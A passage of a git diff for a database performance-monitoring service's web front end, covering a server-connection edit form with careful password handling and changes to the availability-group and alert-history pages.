+  return { input, caption, row: el("label", { class: "tag-field", "data-row": key }, [caption, input]) };
+}
+
+function checkRow(f, key, label) {
+  const input = el("input", { type: "checkbox", "data-field": key });
+  input.checked = f.values[key] === true;
+  input.addEventListener("change", () => {
+    f.values[key] = input.checked;
+    f.refresh();
+  });
+  return el("label", { class: "tag-field", "data-row": key }, [input, " " + label]);
+}
+
+/* The encryption choice. The stored word is matched to an option ignoring case by editFormValues; a word the page does not
+   know is added as one more option and stays selected, so a form nobody touched sends no change (D15). */
+function encryptRow(f) {
+  const stored = f.values.encrypt_mode;
+  const words = EDIT_ENCRYPT_MODES.includes(stored) ? EDIT_ENCRYPT_MODES : EDIT_ENCRYPT_MODES.concat([stored]);
+  const select = el("select", { class: "tag-input", "data-field": "encrypt_mode" }, words.map((w) => el("option", { value: w, text: w || "(blank)" })));
+  select.value = stored;
+  select.addEventListener("change", () => {
+    f.values.encrypt_mode = select.value;
+    f.refresh();
+  });
+  return el("label", { class: "tag-field", "data-row": "encrypt_mode" }, [el("span", { class: "mute-label", text: "Encryption:" }), select]);
+}
+
+/* The four authentication choices of a SQL Server form. A PostgreSQL form has none: its auth is always SQL. */
+function authRows(f) {
+  const choices = EDIT_AUTHS.map((word) => {
+    const input = el("input", { type: "radio", name: "admin-edit-auth", value: word, "data-field": "auth" });
+    input.addEventListener("change", () => {
+      if (!input.checked) return;
+      f.values.auth = word;
+      f.refresh();
+    });
+    return { input, label: el("label", { class: "tag-field" }, [input, " " + AUTH_LABELS[word]]) };
+  });
+  f.radios = choices.map((c) => c.input);
+  return el("fieldset", { class: "tag-field", "data-row": "auth" }, [
+    el("legend", { class: "mute-label", text: "Authentication" }),
+    choices.map((c) => c.label),
+  ]);
+}
+
+/* Show or hide a row. The author rule `.tag-field { display: block }` outranks the browser's own [hidden] rule (as app.css
+   notes for the nav), so the attribute alone would leave the row on screen; the inline display is what hides it. */
+function setShown(node, shown) {
+  node.hidden = !shown;
+  node.style.display = shown ? "" : "none";
+}
+
+/* The form for the open server. It is built once per open and kept up to date in place by f.refresh(), so typing never
+   replaces a node. Values live in f.values (text and booleans, the shape editFormValues returns); the password is never
+   copied into it: the Save step reads the password box once, when it is pressed. The username is kept per authentication
+   mode in f.usernames, as the desktop has one box per mode, so a SQL login never turns into a client id by a click. */
+function formNode(f) {
+  const postgres = f.original.engine === "postgres";
+  const heading = el("h3", { text: "Edit " + (postgres ? "PostgreSQL Server" : "SQL Server") + " Connection", tabindex: "-1", "data-role": "heading" });
+  const host = textRow(f, "host", "Server Name / Address");
+  const name = textRow(f, "display_name", "Display Name (optional)");
+  const port = postgres ? textRow(f, "port", "Port:", { inputmode: "numeric" }) : null;
+  const username = textRow(f, "username", USERNAME_LABELS.SQL, { autocomplete: "off", ...KEEP_FROM_PASSWORD_MANAGERS });
+  const managedNote = el("div", { class: "muted", "data-row": "managed-identity-note", text: MANAGED_IDENTITY_NOTE });
+  const secret = el("input", { type: "password", class: "tag-input", "data-field": "password", autocomplete: "new-password", ...KEEP_FROM_PASSWORD_MANAGERS });
+  const secretCaption = el("span", { class: "mute-label", text: PASSWORD_LABELS.SQL });
+  const secretRow = el("label", { class: "tag-field", "data-row": "password" }, [secretCaption, secret]);
+  /* #5452: the AWS external ID box, write-only like the password: read once when Save is pressed, never copied into f.values. */
+  const externalIdInput = el("input", { type: "password", class: "tag-input", "data-field": "aws_external_id", autocomplete: "new-password", ...KEEP_FROM_PASSWORD_MANAGERS });
+  const externalIdCaption = el("span", { class: "mute-label", text: "AWS external ID (write-only):" });
+  const externalIdRow = el("label", { class: "tag-field", "data-row": "aws_external_id" }, [externalIdCaption, externalIdInput]);
+  f.heading = heading;
+  f.passwordInput = secret;
+  f.externalIdInput = externalIdInput;
+  f.bannerBox = el("div", { "data-box": "banner" });
+  f.conflictBox = el("div", { "data-box": "conflict" });
+  f.statusBox = el("div", { "data-box": "status", role: "status" });
+  f.saveButton = el("button", { class: "btn primary", type: "button", text: "Save", "data-action": "save", onClick: () => submitEdit() });
+  f.cancelButton = el("button", { class: "btn", type: "button", text: "Cancel", "data-action": "cancel", onClick: () => closeEdit() });
+  f.refresh = () => {
+    const auth = f.values.auth;
+    for (const input of f.radios || []) input.checked = input.value === auth;
+    if (f.shownAuth !== auth) {
+      f.shownAuth = auth;
+      username.input.value = f.usernames[auth] || "";
+    }
+    f.usernames[auth] = username.input.value;
+    f.values.username = auth === "Windows" ? "" : username.input.value;
+    username.caption.textContent = USERNAME_LABELS[auth] || USERNAME_LABELS.SQL;
+    setShown(username.row, auth !== "Windows");
+    setShown(managedNote, auth === "ManagedIdentity");
+    setShown(secretRow, auth === "SQL" || auth === "ServicePrincipal");
+    externalIdCaption.textContent = "AWS external ID (write-only): " + (f.original.aws_external_id_set ? "one is stored; leave blank to keep it." : "none is stored.");
+    secretCaption.textContent = (PASSWORD_LABELS[auth] || PASSWORD_LABELS.SQL) + " " + (passwordRequired(f.original, f.values) ? PASSWORD_REQUIRED : PASSWORD_KEPT);
+  };
+  const rows = [
+    el("div", { class: "tag-field", "data-row": "engine" }, [
+      el("span", { class: "mute-label", text: "Database Engine" }),
+      el("div", { "data-field": "engine", text: ENGINE_TEXT[f.original.engine] }),
+      el("div", { class: "muted", text: ENGINE_LOCKED }),
+    ]),
+    host.row,
+    name.row,
+  ];
+  if (postgres) rows.push(port.row, el("div", { class: "muted", text: "blank = 5432, the default" }), el("div", { class: "muted", text: POSTGRES_NOTE }));
+  else rows.push(authRows(f));
+  rows.push(
+    username.row,
+    managedNote,
+    secretRow,
+    el("h4", { class: "section-title", text: "Connection Options" }),
+    encryptRow(f),
+    checkRow(f, "trust_server_certificate", "Trust server certificate (skip certificate validation)"),
+    textRow(f, "database", "Database:").row,
+  );
+  if (!postgres) {
+    rows.push(
+      checkRow(f, "read_only_intent", "Read-only intent (for AG listeners and readable replicas)"),
+      checkRow(f, "multi_subnet_failover", "Multi-subnet failover (for AG listeners and FCIs)"),
+    );
+  }
+  rows.push(
+    textRow(f, "monthly_cost_usd", "Monthly Cost ($):", { inputmode: "decimal" }).row,
+  );
+  if (postgres) {
+    rows.push(
+      el("h4", { class: "section-title", text: "Amazon RDS or Aurora (optional)" }),
+      textRow(f, "aws_role_arn", "AWS role ARN: blank keeps the stored role", { autocomplete: "off", ...KEEP_FROM_PASSWORD_MANAGERS }).row,
+      checkRow(f, "aws_remove_role", "Remove AWS role"),
+      externalIdRow,
+      checkRow(f, "aws_clear_external_id", "Clear external ID"),
+    );
+  }
+  rows.push(
+    f.statusBox,
+    f.bannerBox,
+    f.conflictBox,
+    el("div", { class: "form-actions" }, [f.saveButton, f.cancelButton]),
+  );
+  f.refresh();
+  return el("div", { class: "card tag-form admin-edit-form", role: "group", "aria-label": heading.textContent, "data-edit-form": String(f.id) }, [heading, ...rows]);
+}
+
+/* Open the edit form for server `id` (#5240). One form at a time: opening another row discards the open one. The by-id
+   read answers every way it can, and each way is handled (review finding 9): data fills the form; a 404 means the
+   server was removed meanwhile, so its sentence is shown and the list is read again; a 401 hands over to the shell; any
+   other answer (403, 500, a network failure, a body that is not a server's settings) shows its sentence and opens no
+   form. The password box is created only after a good read. */
+async function openEdit(id) {
+  /* A save is running: the Edit buttons are disabled, and this guard holds for any other caller. It comes before
+     closeEdit() so that nothing discards the form that is saving. */
+  if (busy) return;
+  closeEdit();
+  const mine = opening;
+  setNotice(null);
+  mount(layout.formBox, loadingStrip("Loading server settings"));
+  const res = await apiGet("/api/admin/servers/" + id);
+  if (mine !== opening) return;
+  const data = res.kind === "data" && res.data && typeof res.data === "object" && !Array.isArray(res.data) && typeof res.data.modified_at === "string" ? res.data : null;
+  if (!data) {
+    closeEdit();
+    if (res.kind === "auth") return;
+    const sentence = typeof res.message === "string" && res.message !== "" ? res.message : "Could not read this server's settings.";
+    setNotice(sentence, res.status !== 404);
+    if (res.status === 404) await reloadServers();
+    return;
+  }
+  const original = editFormValues(data);
+  const f = { id, original, values: { ...original }, usernames: usernamesOf(original), token: data.modified_at };
+  editForm = f;
+  showForm(f);
+}
+
+/* The username boxes' contents by mode as a form is first drawn: the username fills the mode it belongs to, the others start
+   blank. */
+function usernamesOf(values) {
+  const usernames = { SQL: "", ServicePrincipal: "", ManagedIdentity: "" };
+  if (values.auth in usernames) usernames[values.auth] = values.username;
+  return usernames;
+}
+
+/* Draw the form of `f` into its box and put the focus on its heading. Mounting INTO formBox is allowed while a form is open;
+   only formBox itself and what holds it are never passed to mount() or clear(). */
+function showForm(f) {
+  mount(layout.formBox, formNode(f));
+  f.heading.focus();
+}
+
+/* The one way the form goes away: Cancel, a save that finished, an answer that closes it, another row's Edit and a tab
+   switch all come here (review finding 3). The typed password is cleared FIRST, while its box is still in the page, so no
+   detached node, closure or state object keeps it; then the state is dropped and the box emptied. Counting a close also
+   drops a by-id read that is still in flight. */
+function closeEdit() {
+  opening++;
+  if (editForm && editForm.passwordInput) editForm.passwordInput.value = "";
+  if (editForm && editForm.externalIdInput) editForm.externalIdInput.value = "";
+  editForm = null;
+  if (layout) mount(layout.formBox, []);
+}
+
+/* A session that expired under ANY read of the page (the poll's list read, another tab's read) makes the shell take the page
+   over, which leaves the open form detached but still held by this module. Closing it here, once, at module load, clears the
+   typed password first, so a secret never outlives the page it was typed on (#5240). The save's own expiry comes here too. */
+onSessionExpired(() => closeEdit());
+
+const STATUS_TESTING = "Testing the connection, then saving. This can take up to a minute.";
+const STATUS_SAVING = "Saving.";
+
+/* The form's one error sentence, above its buttons (D11), as an alert strip. */
+function showBanner(f, sentence) {
+  mount(f.bannerBox, el("div", { class: "strip error", role: "alert", text: sentence }));
+}
+
+/* The status line while a save runs; "" takes it away. */
+function showStatus(f, sentence) {
+  mount(f.statusBox, sentence ? loadingStrip(sentence) : []);
+}
+
+const CONFLICT_NONE = "None of the fields on this form changed. Another setting, such as the enabled state, changed.";
+const CONFLICT_REAPPLY = "Reapply my changes";
+const CONFLICT_RELOAD = "Reload current values";
+
+/* The 409 panel (D10). `out` is interpretEdit's `conflict` answer, { banner, current }; `f` is the open form, kept, with its
+   password already cleared and nothing saved. Under the banner: what the other edit changed in the fields of this form (and
+   what the user entered for the same field), or the sentence that none of them did, and the two ways forward. Both only
+   refill the form: a stale save is never sent again for the user, so the next Save is the user's own. `say` takes the
+   submit-time password out of any sentence shown. An answer with no usable modified_at has nothing to reapply onto, so it
+   stays the plain banner. */
+function showConflict(f, out, say) {
+  showBanner(f, say(out.banner));
+  const current = out.current;
+  if (typeof current.modified_at !== "string") return;
+  const changes = conflictChanges(f.original, current, f.values);
+  const list = changes.length
+    ? el("ul", { class: "admin-conflict-list", "data-role": "conflict-list", "aria-label": "Changed since you opened this server" },
+      changes.map((c) => el("li", { "data-conflict-field": c.key, text: say(c.text) })))
+    : el("div", { class: "muted", "data-role": "conflict-none", text: CONFLICT_NONE });
+  mount(f.conflictBox, el("div", { class: "admin-conflict" }, [
+    list,
+    el("div", { class: "form-actions" }, [
+      el("button", { class: "btn", type: "button", text: CONFLICT_REAPPLY, "data-action": "reapply", onClick: () => refillEdit(f, current, true) }),
+      el("button", { class: "btn", type: "button", text: CONFLICT_RELOAD, "data-action": "reload", onClick: () => refillEdit(f, current, false) }),
+    ]),
+  ]));
+}
+
+/* Point the open form at what the service holds now (the `current` of a 409): its values become the baseline and its
+   modified_at the token the next Save carries. With `keepMine` the user's own changes are laid over it (reapplyValues);
+   without, the form shows the current values and the user's changes are gone. NOTHING is sent: the form is only drawn again
+   (a fresh password box, nothing typed) and the user presses Save. Does nothing for a form that is no longer the open one,
+   or while a save runs. */
+function refillEdit(f, current, keepMine) {
+  if (editForm !== f || busy) return;
+  const now = editFormValues(current);
+  f.values = keepMine ? reapplyValues(f.original, f.values, now) : { ...now };
+  f.original = now;
+  f.token = current.modified_at;
+  f.usernames = usernamesOf(f.values);
+  f.shownAuth = undefined;
+  /* The redraw detaches the old password box; whatever was typed into it since the 409 goes first (#5356), as closeEdit does. */
+  if (f.passwordInput) f.passwordInput.value = "";
+  if (f.externalIdInput) f.externalIdInput.value = "";
+  showForm(f);
+}
+
+/* What one answer to the save does (D9, and review finding 4 for an answer that is late). `here` is true while the form that
+   sent the save is still the open one; `password` is what was typed when Save was pressed, kept only in the caller's local
+   variable and used to redact every sentence shown.
+   - An answer that closes the form closes it through closeEdit (the password goes first) and shows its sentence as the
+     notice, an error when the sign-in is read-only.
+   - An answer that keeps the form clears the password and shows its sentence in the banner, or hands a conflict to showConflict.
+   - A late answer (the form was discarded while the save ran: a tab switch, another page, the hash leaving the tab) touches
+     no form. Its page sentence still shows, and a sentence that had only a banner shows as an error notice, so the user
+     learns what the save did. */
+function landEdit(f, out, password, externalId) {
+  const here = editForm === f;
+  const say = (sentence) => redactPassword(sentence, password, externalId);
+  if (out.close) {
+    if (here) closeEdit();
+    if (out.notice) showOutcome(say(out.notice), out.kind === "readonly");
+    return;
+  }
+  if (!here) {
+    showOutcome(say(out.banner), true);
+    return;
+  }
+  f.passwordInput.value = "";
+  f.externalIdInput.value = "";
+  if (out.kind === "conflict") showConflict(f, out, say);
+  else showBanner(f, say(out.banner));
+}
+
+/* Save (#5240). The form's Save button calls it. The checks that need no request run first, each with the desktop's or the
+   service's own sentence in the banner and the password cleared. A form that differs from what was read in nothing, and
+   has no password to send, closes with "No change." and sends nothing. Otherwise ONE PATCH goes out through apiWrite, the
+   status line says whether the service will test the connection first (probeExpected, whatever the auth: review finding
+   5), and the answer is read by interpretEdit from its status and status word, never from message text.
+   `busy` is set before the request and cleared in a finally, so it clears whatever became of the form meanwhile (review
+   finding 4); the list re-read an answer asks for runs after the lock is released. A late answer, one that arrives after
+   the form was discarded, also re-reads the list when it was an `unchanged` one, so the page shows the state the save left. */
+async function submitEdit() {
+  const f = editForm;
+  if (busy || !f) return;
+  const password = f.passwordInput.value;
+  const externalId = f.externalIdInput.value;
+  mount(f.bannerBox, []);
+  mount(f.conflictBox, []);
+  const problem = validateEdit(f.original, f.values, password, externalId);
+  if (problem) {
+    f.passwordInput.value = "";
+    f.externalIdInput.value = "";
+    showBanner(f, redactPassword(problem, password, externalId));
+    return;
+  }
+  const body = buildEditBody(f.original, f.values, f.token, password, externalId);
+  if (!body) {
+    closeEdit();
+    setNotice("No change.", false);
+    return;
+  }
+  setBusy(true);
+  showStatus(f, probeExpected(f.original, f.values, typeof body.password === "string") ? STATUS_TESTING : STATUS_SAVING);
+  let out = null;
+  let late = false;
+  try {
+    const res = await apiWrite("PATCH", "/api/servers/" + f.id, body);
+    out = interpretEdit(res.status, res.body, res.message, res.expired === true);
+    late = editForm !== f;
+    landEdit(f, out, password, externalId);
+  } finally {
+    if (editForm === f) showStatus(f, "");
+    setBusy(false);
+  }
+  if (out.reread || (late && out.kind === "unchanged")) await reloadServers();
+}
+
+const ROUTES_NOTE =
+  "Read only. Destinations (webhook URLs, keys) are never reported by the service; only the names of the channels a " +
+  "route sets are shown. Add, edit and test stay in the desktop Settings window.";
+
+async function buildRoutes(body, generation) {
+  const res = await readTool("get_notification_routes", {});
+  if (generation !== renderGeneration) return;
+  const bad = failure(res);
+  if (bad) return mount(body, bad);
+  const rows = routeRows(res.data);
+  mount(body, [
+    noticeStrip(ROUTES_NOTE),
+    VIZ.table({ routes: rows }, {
+      rowsKey: "routes",
+      columns: ROUTE_COLUMNS,
+      emptyText: "No routes. Every alert goes to every channel configured in Settings.",
+    }),
+  ]);
+}
+
+const SETTINGS_NOTE =
+  "Read only. Delivery credentials (SMTP, webhooks) are not reported by this read. The data-collection flags " +
+  "(plan capture and similar) are not carried by it either; they stay in the desktop Settings window.";
+
+async function buildSettings(body, generation) {
+  const res = await readTool("get_alert_settings", {});
+  if (generation !== renderGeneration) return;
+  const bad = failure(res);
+  if (bad) return mount(body, bad);
+  const sections = settingSections(res.data);
+  if (!sections.length) return mount(body, emptyStrip("The service reported no alert settings."));
+  const nodes = [noticeStrip(SETTINGS_NOTE)];
+  for (const s of sections) {
+    nodes.push(el("h3", { class: "section-title", text: s.title }));
+    nodes.push(VIZ.table({ rows: s.rows }, { rowsKey: "rows", columns: SETTING_COLUMNS }));
+  }
+  mount(body, nodes);
+}
+
+const BUILDERS = { servers: buildServers, routes: buildRoutes, settings: buildSettings };
+
+/* Run a tab's builder. A builder that throws leaves an error strip: in the Servers tab's table area when its boxes are on the
+   page (the form above it is never replaced), else in the body. */
+function startBuilder(tabId, body, generation) {
+  return BUILDERS[tabId](body, generation).catch((e) => {
+    if (generation !== renderGeneration) return;
+    const strip = errorStrip("Could not render this tab: " + (e && e.message ? e.message : String(e)));
+    mount(tabId === "servers" && layout && layout.body === body ? layout.tableBox : body, strip);
+  });
+}
+
+/* True when `hash` shows the Servers tab: #/admin or #/admin/servers, or a tab name the page does not know while the
+   Servers tab is the one on screen (renderAdmin falls back the same way). */
+function showsServers(hash) {
+  if (hash !== "#/admin" && !hash.startsWith("#/admin/")) return false;
+  return findTab(hash.slice("#/admin".length).replace(/^\//, "")).id === "servers";
+}
+
+/* The one hashchange listener (D6, review finding 6). Another Admin tab is seen by renderAdmin, but leaving the page for
+   another one is seen by nothing else, because no render of this page follows it. A hash that no longer shows the Servers
+   tab discards the open form, password first, and drops a by-id read still in flight. Discarding twice is harmless. */
+function onHashChange() {
+  if (!showsServers(String(window.location.hash || ""))) closeEdit();
+}
+
+export function renderAdmin(main, tabId) {
+  if (!hashWatched) {
+    hashWatched = true;
+    window.addEventListener("hashchange", onHashChange);
+  }
+  const tab = findTab(tabId);
+  activeTab = tab.id;
+  const generation = ++renderGeneration;
+  /* A repaint of the tab already on screen keeps the body it drew, so the page does not collapse and lose its scroll
+     position while the read is in flight; the loading strip is only for the first draw of a tab. */
+  const sameTab = !!shownBody && shownTab === tab.id;
+  if (!sameTab) {
+    /* Arriving at a tab other than the one on screen discards an open edit form (its password is cleared first) and the
+       Servers tab's page state. The one thing kept is the answer of a save that landed while the Servers tab was off screen:
+       arriving at that tab shows it, once. */
+    closeEdit();
+    layout = null;
+    summary = null;
+    notice = tab.id === "servers" ? held : null;
+    if (tab.id === "servers") held = null;
+  }
+  const body = sameTab ? shownBody : el("div", { class: "admin-body" }, [loadingStrip("Loading " + tab.label.toLowerCase())]);
+  shownBody = body;
+  shownTab = tab.id;
+  /* Stable layout (review finding 1): when the tab is unchanged and its body is still attached to `main`, nothing above or
+     around the body changes, so main is NOT mounted again. Mounting main takes the body, and the open form inside it, out of
+     the document, and a focused box inside a node taken out loses its focus. Only the builder runs. */
+  if (!(sameTab && body.parentNode === main)) {
+    mount(main, [el("div", { class: "page-head" }, [el("h2", { text: "Admin" })]), tabBar(tab), body]);
+  }
+  startBuilder(tab.id, body, generation);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/ag.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/ag.js
index a94f4f8c24..fd4d4c51f8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/ag.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/ag.js
@@ -27,6 +27,7 @@ import {
   loadingStrip,
   errorStrip,
   emptyStrip,
+  noticeStrip,
   localTime,
   relTime,
   fmtInt,
@@ -81,7 +82,15 @@ export async function renderAg(main) {
     return;
   }
 
-  mount(main, [pageHead(d), rollup(d), ...groups.map(agCard)]);
+  mount(main, [pageHead(d), truncationNote(d), rollup(d), ...groups.map(agCard)]);
+}
+
+/* #5042: the tiles count every view in scope, so when a response says it was cut (a limit or a byte cap) the page
+   must say so too, or the tiles and the cards disagree silently. /api/ag applies no byte cap today; this guards a
+   future limit. Returns null (mount skips it) when nothing was cut. */
+function truncationNote(d) {
+  if (!d || d.groups_truncated !== true) return null;
+  return noticeStrip(d.groups_truncated_note || "Some availability group views are not shown.");
 }
 
 function pageHead(d) {
@@ -117,19 +126,33 @@ function rollup(d) {
     const lblId = rollupTextId(lbl, "lbl", usedIds);
     return el("div", { class: "tile " + (cls || "") }, [
       el("div", { class: "num", text: fmtInt(num), "aria-describedby": lblId }),
-      el("div", { class: "lbl", id: lblId, text: lbl }),
+      el("div", { class: "lbl", id: lblId, text: countLabel(num, lbl) }),
     ]);
   };
 
+  /* Release walk: two reporting servers that see the same group made "1 Groups" over two cards, with nothing saying what a
+     card is. The note names it whenever there are more cards than groups. */
+  const moreCardsThanGroups = d.availability_group_count > d.distinct_ag_count;
   return el("div", { class: "rollup" }, [
     el("div", { class: "rollup-group" }, [
       tile(d.distinct_ag_count, "Groups"),
       tile(d.reporting_server_count, "Reporting servers"),
       tile(d.availability_group_count, "Views"),
     ]),
+    moreCardsThanGroups
+      ? el("div", {
+          class: "meta",
+          text: "Each card below is one reporting server's view of a group, so a group that two or more servers report appears once for each of them.",
+        })
+      : null,
   ]);
 }
 
+/* A tile's label in the number's own grammar: "1 Group", "2 Groups". Only the display text; the id derives from the plural. */
+export function countLabel(num, plural) {
+  return num === 1 ? plural.replace(/s$/, "") : plural;
+}
+
 function agCard(g) {
   const cls = bandClass(g.severity);
 
@@ -152,7 +175,11 @@ function agCard(g) {
 /* Whose view this is, and how fresh. The two collector sweeps land independently, so the database grain gets its
    own "as of" whenever it differs from the replica grain. */
 function viewSubtitle(g) {
-  let text = "As reported by " + g.server_name + " · collected " + relTime(g.collection_time);
+  /* #5489: a group past the fleet's offline mark is a memory of the last snapshot, not a current status — say
+     so ahead of the "as reported by" line, which keeps the time the snapshot was taken. */
+  let text =
+    (g.is_stale ? "Stale: no current data. " : "") +
+    "As reported by " + g.server_name + " · " + (g.is_stale ? "last collected " : "collected ") + relTime(g.collection_time);
   if (g.database_collection_time && g.database_collection_time !== g.collection_time) {
     text += " · databases " + relTime(g.database_collection_time);
   }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js
index 488377ee24..336f62af11 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/alerts.js
@@ -7,8 +7,10 @@
  */
 
 /*
- * Alert History page (#1562) — the fleet-wide alert log from get_alert_history (server omitted = whole fleet,
- * each row naming its server). A filter box narrows the already-fetched rows by server name client-side (no
+ * Alert History page (#1562) — the alert log from get_alert_history (server omitted = whole fleet, each row naming
+ * its server). A range, a row limit, a server and a Show dismissed choice (module-scope, so they survive the 60 s
+ * poll) set what is read; a reply the tool cut at the row limit says so above the table.
+ * A filter box narrows the already-fetched rows by server name client-side (no
  * re-fetch). Every value is untrusted and reaches the DOM through el()/textContent (R4 — never innerHTML),
  * the expanders included (B2): the channel / sent / muted / delivery-error columns collapse into one compact
  * Status column, and the Detail column shows a truncated one-liner that expands to the full payload (structured
@@ -21,27 +23,100 @@
  * every 60s. Sort order, filters and every rendered field are unchanged.
  */
 
-import { el, mount, readTool, buildQuery, loadingStrip, errorStrip, emptyStrip, disclosure,
-         ALERT_STATE_LABELS, alertDeliveryState } from "../util.js";
-import { VIZ } from "../panels.js";
+import { el, mount, readTool, apiSend, buildQuery, loadingStrip, errorStrip, emptyStrip, noticeStrip, disclosure,
+         ALERT_STATE_LABELS, alertDeliveryState, parseUtc } from "../util.js";
+import { VIZ, reapplyGridSort, gridRowOf } from "../panels.js";
+import { copyText } from "../grid-tools.js";
+import { pageRangePicker, windowResultOfSpec } from "../page-range.js";
+import { relativeSpec, specName } from "../time-range.js";
+import { mutePrefillParams } from "../mute-context.js";
+import { orderServers } from "../server-order.js";
+import { getSession } from "../views-api.js";
 
 /* #3169: the state-carrying notification_type values, derived from the one shared map rather than listed a
    second time. The status label already carries each of them, so the channel chip beside it must not repeat
    them - "No channel configured (unconfigured)" is the shape this prevents. */
 const STATE_ONLY_CHANNELS = new Set(Object.keys(ALERT_STATE_LABELS));
 
+/* Most urgent first when ascending, the order the fleet bands use (Critical, Warning, then the calm states). */
+const SEVERITY_RANK = { critical: 0, warning: 1, info: 2, resolution: 3 };
+
 const ALERT_COLUMNS = [
   { key: "alert_time", label: "Time", format: "time" },
   { key: "server_name", label: "Server" },
   { key: "metric_name", label: "Metric" },
-  { key: "severity", label: "Severity", render: (a) => severityCell(a) },
+  { key: "severity", label: "Severity", sortValue: (a) => (a.severity == null ? null : (SEVERITY_RANK[a.severity] ?? 9)), render: (a) => severityCell(a) },
   { key: "current_value", label: "Value", format: "num1" },
   { key: "threshold_value", label: "Threshold", format: "num1" },
   { key: "status", label: "Status", render: (a) => statusCell(a) },
-  { key: "detail_text", label: "Detail", render: (a) => detailCell(a) },
-  { key: "triage", label: "Triage", render: (a) => triageCell(a) },
+  { key: "detail_text", label: "Detail", render: (a) => detailCell(a), copyValue: (a) => detailFullText(a) },
+  { key: "triage", label: "Triage", csv: false, render: (a) => triageCell(a) },
 ];
 
+/* The Mute column exists only for a seat whose session reports can_edit (the server enforces the write gate;
+   this is only the affordance). Both links open the Mute Rules create form pre-filled from the row. "Mute this
+   alert" keys on the row's store id when it has one and otherwise on the stored server spelling, and fills the
+   database / wait / job / query dimensions from the detail text (js/mute-context.js); the display name in
+   server_name is never what a rule matches. "Mute similar" leaves the server blank (this metric anywhere). */
+let canMute = false;
+const MUTE_COLUMN = { key: "mute", label: "Mute", csv: false, render: (a) => muteCell(a) };
+function alertColumns() {
+  return canMute ? [SELECT_COLUMN].concat(ALERT_COLUMNS, [MUTE_COLUMN]) : ALERT_COLUMNS;
+}
+
+/* Dismiss (the web twin of the Viewer's Dismiss Selected / Dismiss All), for a seat that can edit. The checked
+ * rows live at module scope keyed by alertKey(), so the 60 s rebuild keeps them; they are cleared after a
+ * successful dismiss and whenever a filter changes. The write is POST /api/alert-history/dismiss with the
+ * (alert_time, server_id, metric_name) of each row; one request may list at most DISMISS_CHUNK rows, so a longer
+ * list goes in several requests and the counts are added up. */
+const DISMISS_CHUNK = 1000;
+const selected = new Map();
+const SELECT_COLUMN = { key: "select", label: "Select", csv: false, copy: false, render: (a) => selectCell(a) };
+
+/* A row can be dismissed when it is live and names its server by id (the dismiss key needs server_id). */
+function dismissable(a) {
+  return a.dismissed !== true && a.server_id != null;
+}
+
+function dismissKeyOf(a) {
+  return { alert_time: a.alert_time, server_id: a.server_id, metric_name: a.metric_name };
+}
+
+/* Empties the checked set and unticks the boxes of the rows the table keeps (reconcileRows reuses their nodes). */
+function clearSelection(state) {
+  selected.clear();
+  uncheckBoxes(state);
+}
+
+/* Syncs every listed checkbox to the checked set (reconcileRows reuses the nodes of rows the table keeps). */
+function uncheckBoxes(state) {
+  if (!state || !state.tbody) return;
+  for (const tr of state.tbody.children) {
+    const row = gridRowOf(tr);
+    for (const box of tr.querySelectorAll("input")) box.checked = !!row && selected.has(alertKey(row));
+  }
+}
+
+function selectCell(a) {
+  if (!dismissable(a)) return el("span", { class: "muted", text: "" });
+  const box = el("input", { type: "checkbox", "aria-label": "Select alert " + a.metric_name });
+  box.checked = selected.has(alertKey(a));
+  box.addEventListener("change", () => {
+    if (box.checked) selected.set(alertKey(a), a); else selected.delete(alertKey(a));
+    if (live) updateDismissBar(live);
+  });
+  return box;
+}
+
+function muteCell(a) {
+  const link = (text, params) => el("a", { href: "#/mute-rules" + buildQuery(params), text });
+  return el("span", {}, [
+    link("Mute this alert", mutePrefillParams(a)),
+    " · ",
+    link("Mute similar", { metric_name: a.metric_name }),
+  ]);
+}
+
 /* #3539 A8e: the tier the alert FIRED at, as the tool reports it — never re-derived here from the metric name
  * (R1). The service reads it off the row's persisted context and falls back to the name only for rows that
  * carry none; severity_source says which arm answered, and it rides as the cell's title because the two are
@@ -116,6 +191,8 @@ function statusCell(a) {
        above, so repeating them would read as "No channel configured (unconfigured)". */
     a.notification_type && !STATE_ONLY_CHANNELS.has(a.notification_type)
       ? el("span", { class: "channel", text: a.notification_type }) : null,
+    /* A dismissed row (Show dismissed) says so in words; the dimming alone is the same cue a muted row has. */
+    a.dismissed === true ? el("span", { class: "channel", text: "Dismissed" }) : null,
   ]);
 }
 
@@ -130,6 +207,12 @@ function statusCell(a) {
  * on both open and close - `built` skips the close firing and any open after the first). The placeholder is a
  * bare, unstyled div so the eventual body's markup - div.detail-fields, div.detail-fields.detail-error - lands
  * exactly as it did before this change; only the disc-body -> placeholder -> body nesting is one level deeper. */
+/* The whole detail as plain text, for Copy and the CSV: the stored detail, then the delivery error on its own line. */
+function detailFullText(a) {
+  const hasDetail = a.detail_text != null && String(a.detail_text).trim().length > 0;
+  return [hasDetail ? String(a.detail_text) : null, a.send_error ? "Delivery error: " + a.send_error : null].filter((x) => x != null).join("\n");
+}
+
 function detailCell(a) {
   const hasDetail = a.detail_text != null && String(a.detail_text).trim().length > 0;
   if (!hasDetail && !a.send_error) return el("span", { class: "muted", text: "—" });
@@ -139,20 +222,60 @@ function detailCell(a) {
   const node = disclosure(summary, placeholder, { max: 120 });
 
   let built = false;
-  node.addEventListener("toggle", () => {
+  node.addEventListener("toggle", async () => {
     if (built || !node.open) return;
     built = true;
+    /* #5241: an Analysis alert's advice and fix script are fetched here, on the first open, for this one row - not
+     * carried by the 60 s list read for every row. Loading strip while it loads; an error or an empty answer falls
+     * back to the detail_text rendering. Any other alert has no advice beyond detail_text and makes no request. */
+    if (isAnalysisAlert(a)) {
+      mount(placeholder, [loadingStrip()]);
+      const items = await alertAdvice(a);
+      mount(placeholder, detailBody(a, items));
+      return;
+    }
     mount(placeholder, detailBody(a));
   });
   return node;
 }
 
+/* The advice fetched for an opened Analysis row (#5241), by alertKey, for the page's lifetime: the 60 s poll rebuilds
+ * the grid's nodes, and a row an operator already opened must not ask again. An answer (advice, or none) is kept; a
+ * failed read is not, so opening the row again after a transient error asks again. */
+const adviceCache = new Map();
+
